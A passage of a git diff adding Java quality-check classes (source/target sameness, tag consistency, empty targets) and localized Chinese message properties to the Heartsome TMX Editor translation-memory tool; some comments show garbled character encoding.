testMap.put("1", "1"); + testMap.put("2", "2"); + testMap.put("3", "3"); + testMap.put("4", "4"); + testMap.put("5", "5"); + testMap.put("6", "6"); + + Iterator it = testMap.keySet().iterator(); + while(it.hasNext()){ + System.out.println("--------"); + String key = it.next(); + if (key.equals("2")) { + testMap.remove(key); + it = testMap.keySet().iterator(); + } + } + + System.out.println(testMap.size()); + + + } + + + + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/SrcSameWithTgtQA.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/SrcSameWithTgtQA.java new file mode 100644 index 0000000..645f720 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/SrcSameWithTgtQA.java @@ -0,0 +1,38 @@ +package net.heartsome.cat.te.core.qa; + +import net.heartsome.cat.common.util.TextUtil; + + +/** + * æºæ–‡ä¸Žè¯‘文相åŒçš„å“质检查 + * @author + * @version + * @since JDK1.6 + */ +public class SrcSameWithTgtQA extends QARealization { + + @Override + public void beginTmxQA(QATUDataBean tu) { + String tgtText = model.isIgnoreTag() ? tu.getTgtPureText() : tu.getTgtContent(); + if (TextUtil.checkStringEmpty(tgtText)) { + return; + } + tgtText = TextUtil.trimString(tgtText); + String srcText = model.isIgnoreTag() ? tu.getSrcPureText() : tu.getSrcContent(); + srcText = TextUtil.trimString(srcText); + + if (model.isIgnoreCase() ? srcText.equalsIgnoreCase(tgtText) : srcText.equals(tgtText)) { + String qaType = QAConstant.QA_SrcSameWithTgt; + String qaTypeText = QAConstant.QA_SrcSameWithTgtText; +// String qaTip = Messages.getString("qa.SrcSameWithTgtQA.srcSameButTgtTip"); +// super.printResult(new QAResultBean(tu.getTuID(), tu.getLineNumber(), qaType, qaTypeText, qaTip)); + super.printResult(new QAResultBean(tu.getTuID(), qaType, tu.getLineNumber(), qaTypeText, null, tu.getSrcContent(), tu.getTgtContent())); + } + } + + @Override + public void beginDBQA() { + + } + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/TagConsistenceQA.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/TagConsistenceQA.java new file mode 100644 index 0000000..c0c3509 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/TagConsistenceQA.java @@ -0,0 +1,85 @@ +package net.heartsome.cat.te.core.qa; + +import java.util.List; + +import net.heartsome.cat.common.innertag.InnerTagBean; +import net.heartsome.cat.common.innertag.TmxInnerTagParser; +import net.heartsome.cat.common.util.TextUtil; + +/** + * 标记一致性检查 + * @author robert 2013-09-16 + * @version + * @since JDK1.6 + */ +public class TagConsistenceQA extends QARealization { + + @Override + public void beginTmxQA(QATUDataBean tu) { + String tgtText = model.isIgnoreTag() ? tu.getTgtPureText() : tu.getTgtContent(); + if (TextUtil.checkStringEmpty(tgtText)) { + return; + } + boolean hasError = false; + + String srcContent = tu.getSrcContent(); + String tgtContent = tu.getTgtContent(); + + TmxInnerTagParser parser = TmxInnerTagParser.getInstance(); + + List srcTagList = parser.parseInnerTag(new StringBuilder(srcContent)); + List tgtTagList = parser.parseInnerTag(new StringBuilder(tgtContent)); + + InnerTagBean srcTag = null; + InnerTagBean tgtTag = null; + srcTagFor:for (int i = 0; i < srcTagList.size(); i++) { + srcTag = srcTagList.get(i); + for (int j = 0; j < tgtTagList.size(); j++) { + tgtTag = tgtTagList.get(j); + if (srcTag.getContent().equals(tgtTag.getContent())) { + srcTagList.remove(i); + tgtTagList.remove(j); + i --; + continue srcTagFor; + } + } + } + + String qaType = QAConstant.QA_TagConsistence; + String qaTypeText = QAConstant.QA_TagConsistenceText; +// StringBuffer qaTipSB = new StringBuffer(); + if (srcTagList.size() > 0) { + hasError = true; +// qaTipSB.append(Messages.getString("qa.TagConsistenceQA.tagLose")); +// for (InnerTagBean tag : srcTagList) { +// if (tag.getType() != END) { +// qaTipSB.append(tag.getName()); +// qaTipSB.append("ã€"); +// } +// } +// qaTipSB.deleteCharAt(qaTipSB.length() - 1); +// qaTipSB.append("; "); + } + if (tgtTagList.size() > 0) { + hasError = true; +// qaTipSB.append(Messages.getString("qa.TagConsistenceQA.tagExcess")); +// for (InnerTagBean tag : tgtTagList) { +// if (tag.getType() != END) { +// qaTipSB.append(tag.getName()); +// qaTipSB.append("ã€"); +// } +// qaTipSB.deleteCharAt(qaTipSB.length() - 1); +// qaTipSB.append("; "); +// } + } + if (hasError) { + super.printResult(new QAResultBean(tu.getTuID(), qaType, tu.getLineNumber(), qaTypeText, null, tu.getSrcContent(), tu.getTgtContent())); + } + } + + @Override + public void beginDBQA() { + + } + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/TgtNullQA.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/TgtNullQA.java new file mode 100644 index 0000000..884b24d --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/TgtNullQA.java @@ -0,0 +1,47 @@ +package net.heartsome.cat.te.core.qa; + +import net.heartsome.cat.common.util.TextUtil; + + + +/** + * 译文为空的检查 + * @author robert 2013-09-16 + * @version + * @since JDK1.6 + */ +public class TgtNullQA extends QARealization { + + @Override + public void beginTmxQA(QATUDataBean tu) { + // UNDO 这里还è¦æŽ§åˆ¶ï¼Œè¯‘文为空的标准。 + String tgtText = model.isIgnoreTag() ? tu.getTgtPureText() : tu.getTgtContent(); + if (TextUtil.checkStringEmpty(tgtText)) { + String qaType = QAConstant.QA_TgtNull; + String qaTypeText = QAConstant.QA_TgtNullText; +// String qaTip = Messages.getString("qa.TgtNullQA.tgtNullTip"); +// super.printResult(new QAResultBean(tu.getTuID(), tu.getLineNumber(), qaType, qaTypeText, qaTip)); + + super.printResult(new QAResultBean(tu.getTuID(), qaType, tu.getLineNumber(), qaTypeText, null, tu.getSrcContent(), tu.getTgtContent())); + } + + } + + @Override + public void beginDBQA() { + + } + + public static void main(String[] args) { + String text = "   this "+ +"is a\n" + + " test "; + System.out.println(TextUtil.trimEnter(text)); + long time1 = System.currentTimeMillis(); + for (int i = 0; i < 1000000; i++) { + TextUtil.trimString(text); + } + System.out.println("耗时为:" + (System.currentTimeMillis() - time1)); + } + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/TgtSameButSrcQA.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/TgtSameButSrcQA.java new file mode 100644 index 0000000..eec89cf --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/qa/TgtSameButSrcQA.java @@ -0,0 +1,176 @@ +package net.heartsome.cat.te.core.qa; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.HashMap; +import java.util.HashSet; +import java.util.List; +import java.util.Map; +import java.util.Set; + +import net.heartsome.cat.common.util.TextUtil; + +/** + * 译文相åŒï¼Œä½†æºæ–‡ä¸åŒ + * @author robert 2013-09-16 + * @version + * @since JDK1.6 + */ +public class TgtSameButSrcQA extends QARealization { + boolean isFilter = false; + private Map, List> dataMap = null; + + @Override + public void beginTmxQA(QATUDataBean tu) { + if (dataMap == null) { + initData(); + } + + String tuId = tu.getTuID(); + + String qaType = QAConstant.QA_TgtSameButSrc; + String qaTypeText = QAConstant.QA_TgtSameButSrcText; + Set deleteSetKey = null; + filterFor:for (Set tuSet : dataMap.keySet()) { + if (tuSet.contains(tuId)) { + deleteSetKey = tuSet; + String mergeID = TextUtil.createUUID(); + + for(QATUDataBean curTUBean : dataMap.get(tuSet)){ + super.printResult(new QAResultBean(curTUBean.getTuID(), qaType, curTUBean.getLineNumber(), qaTypeText, mergeID, curTUBean.getSrcContent(), curTUBean.getTgtContent())); + } + dataMap.remove(deleteSetKey); + break filterFor; + } + } + } + + @Override + public void beginDBQA() { + + } + + + + private void initData(){ + dataMap = new HashMap, List>(); + +// long time1 = System.currentTimeMillis(); + final boolean ignoreTag = model.isIgnoreTag(); + final boolean ignoreCase = model.isIgnoreCase(); + + try { + List dataTempList = QACommonFuction.getAllTuDataOfTmxList(model); + List dataList = new ArrayList(); + // 清除掉译文为空的文本 + // 这里的译文ä¸å¯èƒ½ä¸ºã€€null,因为 getAllTuDataOfTmxList 方法已ç»åšäº†é™åˆ¶,这里主è¦æ˜¯ä¸ºäº†æŽ’除译文全为空,此时会报很多译文相åŒæºæ–‡ä¸åŒçš„情况。 + QATUDataBean tempBean = null; + for (int i = 0; i < dataTempList.size(); i++) { + tempBean = dataTempList.get(i); + String tgtText = ignoreTag ? tempBean.getTgtPureText() : tempBean.getTgtContent(); + tgtText = TextUtil.trimString(tgtText); + if (!tgtText.isEmpty()) { + dataList.add(tempBean); + } + } + +// System.out.println("获å–所有数æ®ã€€tu 耗时:" + (System.currentTimeMillis() - time1)); +// long time2 = System.currentTimeMillis(); + + Collections.sort(dataList, new Comparator() { + @Override + public int compare(QATUDataBean tu1, QATUDataBean tu2) { + // UNDO 这里 ts çš„å“质检查也需è¦ä¿®æ”¹ã€‚ + String tgtText1 = ignoreTag ? tu1.getTgtPureText() : tu1.getTgtContent(); + String tgtText2 = ignoreTag ? tu2.getTgtPureText() : tu2.getTgtContent(); + tgtText1 = model.isIgnoreCase() ? tgtText1.toLowerCase() : tgtText1; + tgtText1 = TextUtil.trimString(tgtText1); + tgtText2 = model.isIgnoreCase() ? tgtText2.toLowerCase() : tgtText2; + tgtText2 = TextUtil.trimString(tgtText2); + return tgtText1.compareTo(tgtText2); + } + }); +// System.out.println("排åºã€€tu 耗时:" + (System.currentTimeMillis() - time2)); +// time2 = System.currentTimeMillis(); + + QATUDataBean bean = null; + QATUDataBean curBean = null; + List equalsList; + bigFor:for (int i = 0; i < dataList.size(); i++) { + bean = dataList.get(i); + equalsList = new ArrayList(); + equalsList.add(bean); + String tgtText = ignoreTag ? bean.getTgtPureText() : bean.getTgtContent(); + tgtText = TextUtil.trimString(tgtText); + for (int j = i + 1; j < dataList.size(); j++) { + curBean = dataList.get(j); + String curTgtText = ignoreTag ? curBean.getTgtPureText() : curBean.getTgtContent(); + curTgtText = TextUtil.trimString(curTgtText); + if (ignoreCase ? tgtText.equalsIgnoreCase(curTgtText) : tgtText.equals(curTgtText)) { + equalsList.add(curBean); +// dataList.remove(j); +// j --; + i ++; + }else { + ananysisData(equalsList, ignoreCase, ignoreTag); + continue bigFor; + } + if (j == dataList.size() - 1) { + // 处ç†ã€€equalslist 中是å¦æœ‰æ®‹ä½™çš„æ•°æ®ã€‚ + ananysisData(equalsList, ignoreCase, ignoreTag); + } + } + } +// System.out.println("处ç†æŽ’åºè€—时:" + (System.currentTimeMillis() - time2)); + + }catch (Exception e) { + e.printStackTrace(); + } + +// System.out.println("排åºæ‰€éœ€æ—¶é—´ä¸º:" + (System.currentTimeMillis() - time1)); + + } + + + /** + * 处ç†ç›¸å…³æ•°æ®ï¼Œä¸»è¦æ˜¯ç”¨äºŽåˆ†æžã€€ç›¸åŒè¯‘æ–‡ä¸åŒæºæ–‡çš„æ•°æ®ï¼Œå¦‚符åˆæ ‡å‡†ï¼Œæ”¾åˆ°ç¼“存中。 + * @param equalsList + * @param ignoreCase + * @param ignoreTag ; + */ + private void ananysisData(List equalsList, boolean ignoreCase, boolean ignoreTag){ + if (equalsList.size() > 1) { + // 先检查是å¦æºæ–‡ä¸åŒ + boolean isSrcDiff = false; + String srcText = ignoreTag ? equalsList.get(0).getSrcPureText() : equalsList.get(0).getSrcContent(); + srcText = TextUtil.trimString(srcText); + tgtFor:for (int k = 1; k < equalsList.size(); k++) { + String curSrcText = ignoreTag ? equalsList.get(k).getSrcPureText() : equalsList.get(k).getSrcContent(); + curSrcText = TextUtil.trimString(curSrcText); + if (!(ignoreCase ? srcText.equalsIgnoreCase(curSrcText) : srcText.equals(curSrcText))) { + isSrcDiff = true; + break tgtFor; + } + } + + if (isSrcDiff) { + Set tuIdSet = new HashSet(); + for(QATUDataBean thisBean : equalsList){ + tuIdSet.add(thisBean.getTuID()); + } + // 对 equalsList 按 lineNumber æŽ’åº + Collections.sort(equalsList, new Comparator() { + @Override + public int compare(QATUDataBean tu1, QATUDataBean tu2) { + int lineNumber1 = Integer.parseInt(tu1.getLineNumber()); + int lineNumber2 = Integer.parseInt(tu2.getLineNumber()); + return lineNumber1 > lineNumber2 ? 1 : -1; + } + }); + dataMap.put(tuIdSet, equalsList); + } + } + equalsList = new ArrayList(); + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/resource/._message.properties7934283302715082275.tmp b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/resource/._message.properties7934283302715082275.tmp new file mode 100644 index 0000000..cf088b4 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/resource/._message.properties7934283302715082275.tmp @@ -0,0 +1,55 @@ +# add by jason +tmxdata.TmxFileContainer.parseTmxFileError = \u89e3\u6790 TMX \u6587\u4ef6\u65f6\u51fa\u9519\uff0c\u8bf7\u786e\u8ba4\u6240\u9009\u7684 TMX \u6587\u4ef6\u662f\u5426\u6b63\u786e\uff0c\u6216\u91cd\u65b0\u9009\u62e9\u53e6\u4e00\u4e2a TMX \u6587\u4ef6\u3002\u7136\u540e\u518d\u91cd\u8bd5\u3002 +tmxdata.TmxFileContainer.parseTmxFileEncodingError = \u8be5\u6587\u4ef6\u7684\u7f16\u7801\u4e0d\u53d7\u652f\u6301\uff0c\u8bf7\u4f7f\u7528 UTF-8 \u7f16\u7801\u4fdd\u5b58\u8be5\u6587\u4ef6\u540e\u91cd\u8bd5\u3002 +tmxdata.TmxFileContainer.parseTmxFileContentError = \u6587\u4ef6\u5185\u5bb9\u6709\u8bef\uff0c\u8bf7\u786e\u8ba4\u9009\u62e9\u7684\u6587\u4ef6\u662f\u5426\u6b63\u786e\u3002 +tmxdata.TmxFileContainer.parseTmxFileNotFound = \u6587\u4ef6\u5df2\u7ecf\u4e0d\u5b58\u5728\u3002 +tmxdata.TmxDatabaseContainer.loadDbOpError = \u6ca1\u6709\u627e\u5230\u5bf9\u5e94\u7684\u6570\u636e\u670d\u52a1\uff0c\u53ef\u80fd\u8f6f\u4ef6\u5b89\u88c5\u7a0b\u5e8f\u5df2\u7ecf\u635f\u574f\uff0c\u8bf7\u91cd\u65b0\u4e0b\u8f7d\u5e76\u5b89\u88c5\u3002 +tmxdata.TmxDatabaseContainer.connDbrOpError = \u8fde\u63a5\u6570\u636e\u5e93\u5931\u8d25\u3002 +tmxdata.TmxDatabaseContainer.connDbDriverOpError = \u65e0\u6cd5\u8fde\u63a5\u5230\u6570\u636e\uff0c\u52a0\u8f7d\u6570\u636e\u5e93 JDBC \u9a71\u52a8\u5931\u8d25\uff0c\u53ef\u80fd\u8f6f\u4ef6\u5b89\u88c5\u7a0b\u5e8f\u5df2\u7ecf\u635f\u574f\uff0c\u8bf7\u91cd\u65b0\u4e0b\u8f7d\u5e76\u5b89\u88c5\u3002 + +###### 2013-09-05 add by yule ############ +#convert-msg +converter.common.appendtmx.diffsrcLang.error=\u6e90\u8bed\u8a00\u5bf9\u4e0d\u76f8\u7b49\uff0c\u4e0d\u80fd\u8fdb\u884c\u8ffd\u52a0\u3002 +converter.common.vaild.langcode.error = \u6587\u4ef6\u7684\u8bed\u8a00\u4ee3\u7801\u4e0d\u5408\u7b26\u89c4\u8303\uff0c\u8bf7\u5728\u5e2e\u52a9\u5185\u5bb9\u4e2d\u67e5\u770b\u8be5\u7c7b\u578b\u7684\u8bed\u8a00\u4ee3\u7801\u89c4\u8303\u3002\u4fee\u6539\u6587\u4ef6\u540e\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +converter.common.monitor.info.start = \u89e3\u6790 TMX \u6587\u4ef6... +converter.common.monitor.info.readtmx = \u5904\u7406 TMX \u5185\u5bb9... +converter.common.monitor.info.saving = \u6b63\u5728\u4fdd\u5b58... +converter.common.monitor.info.docx.loadtemplate = \u52a0\u8f7d\u6a21\u677f\u6587\u4ef6... +###### + +### 2013-09-04 add by Austen### +converter.tmx2docx.template.notfound = \u52a0\u8f7d\u6a21\u677f\u6587\u4ef6\u65f6\u5931\u8d25 +converter.docx2tmx.docx.error = \u65e0\u6cd5\u89e3\u6790 {0} \u6587\u4ef6\uff0c\u53ef\u80fd\u5df2\u635f\u6bc1\u3002 +converter.docx2tmx.docx.invaild = \u6587\u4ef6\u683c\u5f0f\u4e0d\u7b26\u5408\u89c4\u8303\uff0c\u672a\u68c0\u6d4b\u5230\u8bed\u8a00\u4ee3\u7801 +###### + +###### 2013-7-30 add by yule ############ +#hstm2tmx +converter.hstm2tmx.error1=\u6570\u636e\u5e93\u8fde\u63a5\u5931\u8d25\u3002 +converter.hstm2tmx.error2=\u6570\u636e\u5e93\u4e2d\u6ca1\u6709\u6570\u636e\u3002 +converter.hstm2tmx.error3=\u5199\u5165Tmx\u5230\u6587\u4ef6\u9519\u8bef\u3002 +converter.hstm2tmx.error4=\u6e90\u8bed\u8a00\u5bf9\u4e0d\u76f8\u7b49\uff0c\u4e0d\u80fd\u8fdb\u884c\u8ffd\u52a0\u3002 + +###### 2013-7-31 add by yule ############ +#tmx2hstm +converter.tmx2hstm.error1=\u6570\u636e\u5e93\u8fde\u63a5\u5931\u8d25\u3002 +converter.tmx2hstm.error2=\u6570\u636e\u5e93\u9a71\u52a8\u52a0\u8f7d\u5931\u8d25\u3002 +converter.tmx2hstm.error3=\u6570\u636e\u5e93\u8868\u521b\u5efa\u5931\u8d25\u3002 +converter.tmx2hstm.error4=TMX\u6587\u4ef6\u683c\u5f0f\u6709\u6709\u8bef\u3002 +converter.tmx2hstm.error5=\u5199\u5165\u6570\u636e\u5230\u6570\u636e\u5e93\u65f6\uff0c\u53d1\u751f\u9519\u8bef\u3002 + +###### 2013-9-5 add by yule ############ +#tmx2tbx +convert.tmx2tbx.tbxFileNotExit=\u751f\u6210Tbx\u6587\u4ef6\u9519\u8bef\u3002 +convert.tmx2tbx.writeTbxError=\u5411Tbx\u6587\u4ef6\u4e2d\u5199\u5165\u6570\u636e\u51fa\u9519\u3002 + +#tbx2tmx +convert.tbx2tmx.parseTbxError=\u89e3\u6790 TBX \u6587\u4ef6\u65f6\u51fa\u9519\uff0c\u8bf7\u786e\u8ba4\u6240\u9009\u7684 TBX \u6587\u4ef6\u662f\u5426\u6b63\u786e\uff0c\u6216\u91cd\u65b0\u9009\u62e9\u53e6\u4e00\u4e2aTBX \u6587\u4ef6\u3002\u7136\u540e\u518d\u91cd\u8bd5\u3002 +convert.tbx2tmx.writeTmx.error=\u5411TMX \u6587\u4ef6\u5199\u5165\u6570\u636e\u8fc7\u7a0b\u4e2d\u51fa\u9519\u3002 + +#tmx2xlsx +converter.tmx2xlsx.writeTmx.error=\u5411 Excel \u6587\u4ef6\u5199\u5165\u6570\u636e\u51fa\u9519\u3002 +#xlsx2tmx +converter.xlsx2tmx.parseExcle.error=\u89e3\u6790 Excel \u6587\u4ef6\u65f6\u51fa\u9519\uff0c\u8bf7\u786e\u8ba4\u6240\u9009\u7684 Excel \u6587\u4ef6\u662f\u5426\u6b63\u786e\uff0c\u6216\u91cd\u65b0\u9009\u62e9\u53e6\u4e00\u4e2aExcel \u6587\u4ef6\u3002\u7136\u540e\u518d\u91cd\u8bd5\u3002 +converter.xlsx2tmx.writeTmx.error=\u5411TMX \u6587\u4ef6\u5199\u5165\u6570\u636e\u8fc7\u7a0b\u4e2d\u51fa\u9519\u3002 + diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/resource/Messages.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/resource/Messages.java new file mode 100644 index 0000000..cc98da7 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.te.core.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author Jason + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.cat.te.core.resource.message"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/resource/message.properties b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/resource/message.properties new file mode 100644 index 0000000..e45f1aa --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/resource/message.properties @@ -0,0 +1,152 @@ +tmxdata.TmxFileContainer.parseTmxFileError = \u89e3\u6790 TMX \u6587\u4ef6\u65f6\u51fa\u9519\uff0c\u8bf7\u786e\u8ba4\u6240\u9009\u7684 TMX \u6587\u4ef6\u662f\u5426\u6b63\u786e\uff0c\u6216\u91cd\u65b0\u9009\u62e9\u53e6\u4e00\u4e2a TMX \u6587\u4ef6\u3002\u7136\u540e\u518d\u91cd\u8bd5\u3002 +tmxdata.TmxFileContainer.parseTmxFileEncodingError = \u8be5\u6587\u4ef6\u7684\u7f16\u7801\u4e0d\u53d7\u652f\u6301\uff0c\u8bf7\u4f7f\u7528 UTF-8 \u7f16\u7801\u4fdd\u5b58\u8be5\u6587\u4ef6\u540e\u91cd\u8bd5\u3002 +tmxdata.TmxFileContainer.parseTmxFileContentError = \u6587\u4ef6\u5185\u5bb9\u6709\u8bef\uff0c\u8bf7\u786e\u8ba4\u9009\u62e9\u7684\u6587\u4ef6\u662f\u5426\u6b63\u786e\u3002 +tmxdata.TmxFileContainer.parseTmxFileNotFound = \u6587\u4ef6\u5df2\u7ecf\u4e0d\u5b58\u5728\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u6587\u4ef6\u3002 +tmxdata.TmxFileContainer.oneLanguageMsg = \u6240\u9009\u7684 TMX \u6587\u4ef6\u53ea\u6709\u4e00\u4e2a\u8bed\u8a00\uff0c\u65e0\u6cd5\u6253\u5f00\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u6709\u4e24\u4e2a\u6216\u66f4\u591a\u8bed\u8a00\u7684 TMX \u6587\u4ef6\u3002 +tmxdata.TmxFileContainer.emptyFileMsg = \u6240\u9009\u7684 TMX \u6587\u4ef6\u4e3a\u7a7a\uff0c\u65e0\u6cd5\u6253\u5f00\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u975e\u7a7a\u7684 TMX \u6587\u4ef6\u3002 +tmxdata.TmxFileContainer.emptyBodyNodeMsg = \u6240\u9009\u7684 TMX \u6587\u4ef6 \u8282\u70b9\u5185\u5bb9\u4e3a\u7a7a\uff0c\u65e0\u6cd5\u6253\u5f00\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u975e\u7a7a\u7684 TMX \u6587\u4ef6\u3002 +tmxdata.TmxFileContainer.parseLineColmsg = \u6240\u9009\u7684 TMX \u6587\u4ef6\u4e2d\u542b\u6709\u975e\u6cd5\u5b57\u7b26\uff0c\u65e0\u6cd5\u6253\u5f00\u3002\u975e\u6cd5\u5b57\u7b26\u6240\u5728\u884c\uff1a{0}\uff0c\u5217\uff1a{1}\n\u8bf7\u7528\u6587\u672c\u7f16\u8f91\u5668\u6253\u5f00\u8be5 TMX \u6587\u4ef6\u5e76\u5220\u9664\u4e0a\u8ff0\u975e\u6cd5\u5b57\u7b26\uff0c\u7136\u540e\u518d\u91cd\u8bd5\uff0c\u6216\u9009\u62e9\u53e6\u4e00\u4e2a TMX \u6587\u4ef6\u3002 +tmxdata.TmxFileContainer.entityErrorLineColmsg = \u6240\u9009\u7684 TMX \u6587\u4ef6\u4e2d\u542b\u6709\u975e\u6cd5\u7684\u5b9e\u4f53\u5b57\u7b26\uff08\u4ee5 && \u5f00\u5934\uff09\uff0c\u65e0\u6cd5\u6253\u5f00\u3002\u6240\u5728\u884c\uff1a{0}\uff0c\u5217\uff1a{1}\n\u8bf7\u4f7f\u7528\u6587\u672c\u7f16\u8f91\u5668\u6253\u5f00\u8be5 TMX \u6587\u4ef6\u5e76\u4fee\u6539\u6216\u5220\u9664\u975e\u6cd5\u7684\u5b9e\u4f53\u5b57\u7b26\uff0c\u7136\u540e\u518d\u91cd\u8bd5\uff0c\u6216\u9009\u62e9\u53e6\u4e00\u4e2a TMX \u6587\u4ef6\u3002 +tmxdata.TmxFileContainer.cantsaveReadOnly = \u5f53\u524d\u6587\u4ef6\u4e3a\u53ea\u8bfb\u3002\u82e5\u8981\u4fdd\u5b58\u5f53\u524d\u4fee\u6539\uff0c\u8bf7\u70b9\u51fb\u83dc\u5355\u201c\u6587\u4ef6 > \u5bfc\u51fa\u201d\u5c06\u5f53\u524d\u8fc7\u6ee4\u7ed3\u679c\u4fdd\u5b58\u4e3a\u65b0\u6587\u4ef6\u3002 +tmxdata.TmxDatabaseContainer.loadDbOpError = \u6ca1\u6709\u627e\u5230\u5bf9\u5e94\u7684\u6570\u636e\u670d\u52a1\uff0c\u53ef\u80fd\u8f6f\u4ef6\u5b89\u88c5\u7a0b\u5e8f\u5df2\u7ecf\u635f\u574f\uff0c\u8bf7\u91cd\u65b0\u4e0b\u8f7d\u5e76\u5b89\u88c5\u3002 +tmxdata.TmxDatabaseContainer.connDbrOpError = \u8fde\u63a5\u6570\u636e\u5e93\u5931\u8d25\u3002 +tmxdata.TmxDatabaseContainer.connDbDriverOpError = \u65e0\u6cd5\u8fde\u63a5\u5230\u6570\u636e\u5e93\uff0c\u52a0\u8f7d\u6570\u636e\u5e93 JDBC \u9a71\u52a8\u5931\u8d25\u3002\u53ef\u80fd\u8f6f\u4ef6\u5b89\u88c5\u7a0b\u5e8f\u5df2\u7ecf\u635f\u574f\uff0c\u8bf7\u91cd\u65b0\u4e0b\u8f7d\u5e76\u5b89\u88c5\u3002 +Tmxdata.TmxDatabaseContainer.nonHstmMsg = \u65e0\u6cd5\u6253\u5f00\uff1a\u6240\u9009\u7684\u6587\u4ef6\u4e0d\u662f\u6709\u6548\u7684 HSTM \u8bb0\u5fc6\u5e93\u6587\u4ef6\u3002\n\u8bf7\u91cd\u65b0\u9009\u62e9\u7531 Heartsome Translation Studio 8 \u521b\u5efa\u7684\u6587\u4ef6\u578b\u8bb0\u5fc6\u5e93\u6587\u4ef6\u3002 + +converter.common.appendtmx.diffsrcLang.error=\u8ffd\u52a0\u5931\u8d25\uff0c\u5916\u90e8\u6587\u4ef6\u548c\u5f53\u524d TMX \u6587\u4ef6\u7684\u6e90\u8bed\u8a00\u6216\u76ee\u6807\u8bed\u8a00\u4e0d\u4e00\u81f4\u3002\u8bf7\u5c06\u6e90\u8bed\u8a00\u6216\u76ee\u6807\u8bed\u8a00\u4fdd\u6301\u4e00\u81f4\u3002 +converter.common.appendtmx.wrongTmx = \u5f85\u8ffd\u52a0\u6587\u4ef6\u4e0d\u662f\u6709\u6548\u7684 TMX \u6587\u4ef6\uff0c\u65e0\u6cd5\u8ffd\u52a0\u3002\u8bf7\u9009\u62e9\u53e6\u4e00\u4e2a\u8981\u8ffd\u52a0\u7684 TMX \u6587\u4ef6\u6216\u4f7f\u7528\u201c\u521b\u5efa\u65b0\u7684 TMX \u6587\u4ef6\u201d\u65b9\u5f0f\u3002 +converter.common.vaild.langcode.error = \u6587\u4ef6\u7684\u8bed\u8a00\u4ee3\u7801\u4e0d\u6807\u51c6\u3002\u8bf7\u4f7f\u7528\u7b26\u5408 ISO 639-1 \u548c ISO 3166-1 \u6807\u51c6\u7684\u8bed\u8a00\u4ee3\u7801\uff08\u4f8b\u5982 zh-CN\u3001en-US\uff09\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +converter.common.vaild.duplicatelangcode.error=\u6587\u4ef6\u542b\u6709\u91cd\u590d\u7684\u8bed\u8a00\u4ee3\u7801\u3002\u8bf7\u4fee\u6539\u91cd\u590d\u7684\u8bed\u8a00\u4ee3\u7801\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 + +converter.common.monitor.info.start = \u89e3\u6790 TMX \u6587\u4ef6... +converter.common.monitor.info.readtmx = \u5904\u7406 TMX \u5185\u5bb9... +converter.common.monitor.info.saving = \u6b63\u5728\u4fdd\u5b58... +converter.common.monitor.info.docx.loadtemplate = \u52a0\u8f7d\u6a21\u677f\u6587\u4ef6... + +converter.tmx2docx.template.notfound = \u52a0\u8f7d\u6a21\u677f\u6587\u4ef6\u65f6\u5931\u8d25\u3002\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome TMX Editor\u3002 +converter.docx2tmx.docx.error = \u65e0\u6cd5\u89e3\u6790\u6587\u4ef6 {0}\uff0c\u8be5\u6587\u4ef6\u53ef\u80fd\u5df2\u635f\u574f\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u6587\u4ef6\u3002 +converter.docx2tmx.docx.invaild = \u672a\u5728\u8be5\u6587\u4ef6\u4e2d\u68c0\u6d4b\u5230\u8bed\u8a00\u4ee3\u7801\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u7b26\u5408\u8981\u6c42\u7684\u6587\u4ef6\u3002 +converter.docx2tmx.docx.parsedocx = \u8bfb\u53d6\u6587\u4ef6... +converter.docx2tmx.docx.readdocx = \u5904\u7406\u6587\u4ef6\u5185\u5bb9... +converter.docx2tmx.docx.testappend = \u68c0\u6d4b\u8ffd\u52a0 TMX \u6587\u4ef6\u7684\u5408\u6cd5\u6027... + 